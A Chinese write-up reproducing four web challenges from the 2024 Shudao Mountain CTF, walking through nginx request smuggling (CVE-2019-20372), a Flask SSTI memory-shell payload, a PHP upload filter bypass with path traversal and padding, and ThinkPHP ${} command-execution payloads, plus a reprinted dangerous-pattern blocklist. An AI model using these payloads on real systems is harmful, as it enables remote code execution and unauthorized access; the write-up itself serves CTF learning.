0%

2024蜀道山|web|复现

前言:

个人感觉比赛难度还是挺大的,打比赛的时候web一题都没做出来,所以赛后看过wp后进行一次复现

本文参考wp:

https://xz.aliyun.com/t/16294?time__1311=GuD%3DPROiYKGNDQtKBK0QDOAQG%3DG83A3KBIeD#toc-1

https://www.cnblogs.com/Meteor-Kai/articles/18556608#

一、海关警察训练平台

描述:这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html

考点:(CVE-2019-20372)Nginx error_page 请求走私漏洞

参考资料:(CVE-2019-20372)Nginx error_page 请求走私漏洞 · Qingy文库

做的时候一脸懵扫了一下目录

可以发现有一堆错误的页面302跳转到50x.html

做的时候没发现是什么漏洞点,复现的时候看了别人的wp才知道是(CVE-2019-20372)Nginx error_page 请求走私漏洞(CVE-2019-20372)Nginx error_page 请求走私漏洞 · Qingy文库

搜了一下发现刚好符合情况,那就开始构造

用bp抓一个访问错误页面的包

根据抓包以及查到的资料可以猜测一下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
server {
listen 80;
server_name localhost;
error_page 401 http://1.12.45.26/zgr/50x.html;
location / {
return 401;
}
}
server {
listen 80;
server_name infernityhost;
location /flag.html {
return 200;
}
}

所以此时我们只需要构造请求就能通过走私读取到未授权的flag.html界面

1
2
3
4
5
6
7
GET /error HTTP/1.1
Host: gz.imxbt.cn:20464
Content-Length: 65

GET /flag.html HTTP/1.1
Host: infernityhost
Connection: close

但是运行发现只请求成功了第一个,又尝试了几次发现还是只有302跳转

想到可以用bp爆破访问,结果真的被爆出来了(可能是我运气不好,别人可能是手动就爆出来了)

二、my_site

描述:小明第一次使用python进行web开发,不过他的网站貌似不够安全

考点:ssti注入内存马

参考资料:一文了解SSTI和所有常见payload 以flask模板为例python-flask框架不出网反序列化解法(新版内存马)

比赛时源码以hint的形式给出(复现的时候没给做了半天题才发现有源码,真艹蛋)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, g
from utils import rot13, key
import sqlite3

app = Flask(__name__)
app.secret_key = 'your_secret_key'
app.config['DATABASE'] = 'database.db'

def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(app.config['DATABASE'])
return db

@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()

@app.route('/')
def home():
return render_template('home.html')

@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
if request.method == 'POST':
action = request.form['action']
text = request.form['text']

if action == 'encrypt':
encrypted_text = rot13(text)
return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)

return render_template('index.html')

@app.route('/rot13_result/<action>/<result>')
def rot13_result(action, result):
return render_template('rot13_result.html', action=action, result=result)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
user = cursor.fetchone()
if user:
session['username'] = username
return redirect(url_for('message_board'))
else:
flash('Invalid username or password')
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
db.commit()
flash('Registration successful! Please log in.')
return redirect(url_for('login'))
except sqlite3.IntegrityError:
flash('Username already exists!')
return render_template('register.html')

@app.route('/message_board', methods=['GET', 'POST'])
def message_board():
if 'username' not in session:
return redirect(url_for('login'))

db = get_db()
cursor = db.cursor()

if request.method == 'POST':
message = request.form['message']
cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)", (session['username'], message))
db.commit()

cursor.execute("SELECT username, message FROM messages")
messages = cursor.fetchall()

return render_template('message_board.html', messages=messages)

@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('home'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

看到flask框架首先猜测可能是ssti,找漏洞点

源码中发现# return “既然你是黑阔,那我凭什么给你回显”,因此可以猜测漏洞点可能在rot13_route()里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
if request.method == 'POST':
action = request.form['action']
text = request.form['text']

if action == 'encrypt':
encrypted_text = rot13(text)
return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
# 如果解密后的文本满足 key 函数的条件,尝试动态渲染模板字符串
except Exception as e:
abort(404)
# 渲染失败,返回 404 错误。
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)

return render_template('index.html')

用ai审计一下那段代码可以发现render_template_string渲染方法可能存在漏洞(其实做题做多了直接就看出来了,还有另一个常见的渲染方法render_template())

顺着思路接着看代码,发现ssti的漏洞点

1
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text

开始构造,测试一下49发现得到的结果不是计算结果,根据源码可以看出解密后的文本满足 key 函数,测试一下Python的内置函数url_for()和get_flashed_messages()发现执行成功了(可以联想到flask内存马)但是有waf

1
2
3
{{url_for.__globals__}}
//加密后
{{hey_sbe.__tybonyf__}}

那么就要开始绕过waf,测试一下哪些被禁用了,发现{{__tybonyf__}}会跳转waf,.{{hey_sbe}} 会跳转404,()会跳转到黑客那里。

试了半天没试出来,看了一下第一名的payload(大佬)

1
2
3
4
url_for['__glob''als__']['__buil''tins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")
//加密后
hey_sbe['__tybo''nyf__']['__ohvy''gvaf__']['riny']
("__vzcbeg__('flf').zbqhyrf['__znva__'].__qvpg__['ncc'].orsber_erdhrfg_shapf.frgqrsnhyg(Abar,[]).nccraq(ynzoqn :__vzcbeg__('bf').cbcra('png /synt').ernq())")

因为payload的里面有.会跳转404,所以从网上找了个工具进行加密(第一名大佬是自己写脚本进行加密)Rot13密码

来研究一波大佬的payload

1
2
3
4
5
6
7
8
9
10
url_for['__glob''als__']['__buil''tins__']['eval']:这一串就是常规操作找到eval函数执行后面的代码,需要注意特定函数被禁用了用'分隔来绕过。

__import__('sys'):动态导入 sys 模块。
modules['__main__']:访问主模块的字典。
__dict__['app']:访问主模块字典中的 app 变量,这通常是 Flask 应用程序实例。

before_request_funcs:访问Flask应用程序的before_request_funcs列表。(Flask 的一个特殊属性,表示在请求处理之前执行的函数列表。)
setdefault(None,[]):使用setdefault方法确保列表存在,如果不存在则创建一个空列表。

append(lambda :__import__('os').popen('cat /flag').read()):使用 append 方法将一个匿名函数(lambda 函数)添加到列表中,这个匿名函数会在每个请求之前执行。lambda函数的内容是__import__('os').popen('cat /flag').read()。

有了payload之后用bp抓包传参(习惯),直接在页面输入也行(后面试的,直接得到flag)

回到页面中访问rot13得到flag,说明内存马已经成功注入

三、奶龙牌WAF

描述:你能逃出奶龙的WAF吗?

考点:move_uploaded_file函数/.绕过、脏数据

参考资料:PHP文件上传指南:如何使用move_uploaded_file函数处理上传文件从0CTF一道题看move_uploaded_file的一个细节问题

进去后发现个文件上传,随便上传一个php一句话发现被禁止了。

下载题目给的附件,打开是源码,以下是功能点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); //获取文件名和扩展名。

if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("不允许上传此类文件!");
} //检查文件扩展名是否包含 ph 或 hta,如果包含则拒绝上传。


if ($file['size'] > 2 * 1024 * 1024) {
die("文件大小超过限制!");
} //检查文件大小是否超过 2MB,如果超过则拒绝上传。

$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000); //读取文件的前 5000 个字节

$dangerous_patterns = [
'/<\?php/i',
'/<\?=/',
'/<\?xml/',
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/',
'/\/\*\s.*\*\//',
'/#/',
'/<script\b.*?>.*?<\/script>/is',
'/javascript:/i',
'/on\w+\s*=\s*["\'].*["\']/i',
'/[\<\>\'\"\\\`\;\=]/',
'/%[0-9a-fA-F]{2}/',
'/&#[0-9]{1,5};/',
'/&#x[0-9a-fA-F]+;/',
'/system\(/i',
'/exec\(/i',
'/passthru\(/i',
'/shell_exec\(/i',
'/file_get_contents\(/i',
'/fopen\(/i',
'/file_put_contents\(/i',
'/%u[0-9A-F]{4}/i',
'/[^\x00-\x7F]/',
// 检测路径穿越
'/\.\.\//',
]; //设置黑名单。


foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("内容包含危险字符,上传被奶龙拦截!");
}
}

$upload_dir = 'uploads/'; //创建上传目录(如果不存在)
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

$new_file_name = $upload_dir . $name;
print($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
}

可以发现一个漏洞点move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)

move_uploaded_file 是 PHP 的一个内置函数,专门用于安全地将上传的文件从临时目录移动到指定的目录或文件路径中。

当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php。

所以我们可以通过?name=../1.php/.来覆盖掉我们上传的shell.php,从而绕过后缀上传文件。

但是还有个文件内容黑名单没绕过去,还有一个漏洞点未利用$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);黑名单只限制了文件的前5000个字节,所以只需要将一句话木马放在5000字节以外就可以绕过——通过脏数据实现绕过。

1
2
content='a'*5000
print(content)

此时访问1.php即可命令执行(这里用了../所以改变文件的路径到了网页根目录上,不用的话得访问/uploads/1.php)

四、恶意代码检测器

描述:一个简陋的恶意代码检测器

考点:php中${}执行命令

参考资料:ThinkPHP 代码执行漏洞代码/命令执行总结input.thinkphp6

输入一串xss弹窗,用bp抓包发现回显检测到了危险代码,但是暂时没有用

 2024-12-11 005640.png

用dirsearch扫描一下网页目录,可以看出很明显的thinkphp框架(最近审了几回看到这个目录太熟悉了),还扫到了个www.zip文件(猜测是源码),将其下下来。

下完查看真的是源码(痛苦!又要开始审thinkphp了),直接看app里的文件发现漏洞点可能在/app/controller/index.php里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {

$attack_log_file = '/tmp/attack.log';

if(file_exists($attack_log_file)) {
file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
require_once('/tmp/attack.log');
} else {
file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($attack_word)){
echo '检测到危险代码: '.$attack_word.'!!!';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}else{
$safe_log_file = '/tmp/safe.log';
if(file_exists($safe_log_file)) {
file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
require_once('/tmp/safe.log');
} else {
file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($safe_word)){
echo '未检测到危险代码,'.$safe_word.',非常安全';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}
}
}

接着审计可以发现漏洞点file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);

本来的想法是构造出木马写入到/tmp/attack.log中,但是可以看到<>php?都被禁了(thinkphp是php框架,意味着我们得用php木马),说明这题的考点不是在这里。

那么只能换种思路,看了一下别人的wp——利用${}来命令执行,查阅了一下资料。

在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a。如果{}写的是一个已知函数名称,那么这个函数就会被执行。

所以现在需要绕过正则构造出命令执行函数

法一:usort()(这个是第一次碰到长知识了)

1
2
3
4
5
6
7
8
${usort($_GET[a],'system')}
//由于过滤了一堆东西,所以我们需要绕过黑名单
${@usort((ge.tallheaders)(),sys.tem)}
//⽤字符串拼接的⽅式绕过过滤
//没有引号,拼接字符的时候会warming,然后tp就报错了,⽤@来忽略掉警告
//过滤了下划线,⽤ getallheaders 给 system 传参
//get和system被过滤了用.来分隔绕过
//getallheaders:获取所有 HTTP 请求标头

法二:input()

1
2
3
${input(0)(input(1))}&0=system&1=ls+/
//用input传入两个参数0和1,然后赋值
//传入a和b可能会被解释为变量(我用a和b没出来就老实用0和1了)

五、XSS

描述:众所周知, Acme Design 是一家出名的设计公司, 擅长设计精美的图片, 曾给世界的大型科技企业提供图片.

考点:缓存污染、恶意js文件上传

这题实在整不出来了,看了wp发现环境有点问题